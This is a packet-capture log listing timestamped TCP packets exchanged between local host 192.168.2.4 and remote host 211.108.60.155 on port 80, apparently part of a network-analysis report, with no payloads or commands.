Jul 6, 2024 14:10:02.599917889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.599920034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.599931002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.599939108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.599946976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.599952936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.599970102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.599992990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600003004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600012064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600035906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600405931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600444078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600594997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600604057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600630045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600647926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600651026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600658894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600667953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600682974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600696087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600708008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600718021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600728035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600753069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600764036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600779057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600795984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600799084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600805044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.600821972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.600841045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601102114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601135969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601136923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601145983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601171017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601181984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601239920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601248980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601262093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601273060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601281881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601300001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601422071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601459026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601516008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601551056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601602077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601633072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601675034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601685047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601718903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601771116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601802111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601878881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601892948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601914883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.601931095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.601944923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602152109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602174997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602196932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602200031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602207899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602207899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602226973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602246046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602266073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602299929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602394104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602433920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602464914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602497101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602623940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602664948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602816105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602826118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602834940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602859020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602863073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602868080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602871895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602894068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.602981091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.602989912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603025913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.603370905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603380919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603394985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603416920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.603432894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.603517056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603527069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603549957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.603564024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.603616953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603626013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603648901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.603832960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.603872061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.603993893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604003906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604016066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604024887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604032040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.604034901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604043007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.604044914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604058981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604068041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604070902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.604079962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.604110003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.604131937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604166031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.604170084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.604197025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793164968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793193102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793201923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793210983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793248892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793248892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793338060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793371916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793402910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793411970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793420076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793436050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793447971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793528080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793535948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793565035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793653965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793689966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793787003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793796062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793803930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793817043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793829918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793932915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.793972015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.793977976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794008017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794151068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794188976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794193029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794198990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794217110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794229984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794260025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794291019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794321060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794362068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794446945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794456005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794488907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794569016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794576883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794609070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794631004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794640064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794662952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794820070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794830084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794862032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.794900894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794910908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.794950008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795074940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795084000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795119047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795173883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795208931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795334101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795342922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795352936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795377970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795387030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795397043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795428991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795594931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795607090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795619965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795630932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795641899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795656919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795663118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795794964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795804977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795814991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.795840025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795856953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.795984030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796025991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796061993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796071053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796092987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796108007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796119928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796202898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796212912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796247005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796454906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796504974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796508074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796518087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796545029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796570063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796612978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796830893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796871901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796911955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796951056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.796961069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796969891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796979904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.796999931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797003031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797008038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797029018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797050953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797060013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797086000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797177076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797220945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797243118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797252893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797269106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797281027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797300100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797478914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797487974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797523975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797630072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797638893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797672987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797748089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797785997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797813892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797823906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797832966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797853947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797868013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.797873020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.797905922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.798011065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798019886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798028946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798053980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.798070908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.798224926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798233986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798266888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.798290968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798300028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798326969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.798413992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798453093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.798605919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.798645973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.996385098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.996407032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.996417046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.996427059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.996479034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.996516943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.996520042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.996556997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.996747017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.996784925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.996937990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.996977091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997015953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997026920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997051001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997056007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997072935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997081995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997103930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997112989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997144938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997178078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997188091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997224092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997297049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997308016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997317076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997324944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997328043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997335911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997356892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997375965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997421980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997431040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997440100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997457981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997482061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997572899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997581959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997590065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997600079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997613907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997629881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997694969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997704029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997741938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997749090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997757912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997766972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997776985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997785091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.997791052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997797012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.997824907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.998013020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998028040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998037100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998045921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998050928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.998054981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998064041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998070955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.998073101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998086929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998095989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.998110056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.998132944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.998219013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.998256922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999073982 CEST	80	49732	211.108.60.155	192.168.2.4
